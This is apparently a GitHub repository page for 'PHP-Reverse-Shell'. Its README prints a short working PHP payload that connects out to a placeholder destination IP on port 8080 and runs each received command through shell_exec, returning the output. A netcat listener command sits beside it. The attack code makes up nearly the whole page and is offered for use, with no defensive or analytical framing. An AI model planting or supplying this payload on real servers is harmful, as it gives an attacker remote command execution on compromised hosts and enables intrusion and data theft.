Skip to content

9dl/PHP-Reverse-Shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

PHP-Reverse-Shell

Payload

<?php
$sock = fsockopen("Destination IP", 8080);
if ($sock) {
    fwrite($sock, "github.com/9dl\n");
    fwrite($sock, "Connected!\n");
    while (!feof($sock)) {
        $cmd = trim(fgets($sock));
        if ($cmd === 'exit') break;
        $output = shell_exec($cmd . " 2>&1");
        fwrite($sock, $output);
    }
    fclose($sock);
}
?>

Listener

nc -lvnp 8080

Showcase

image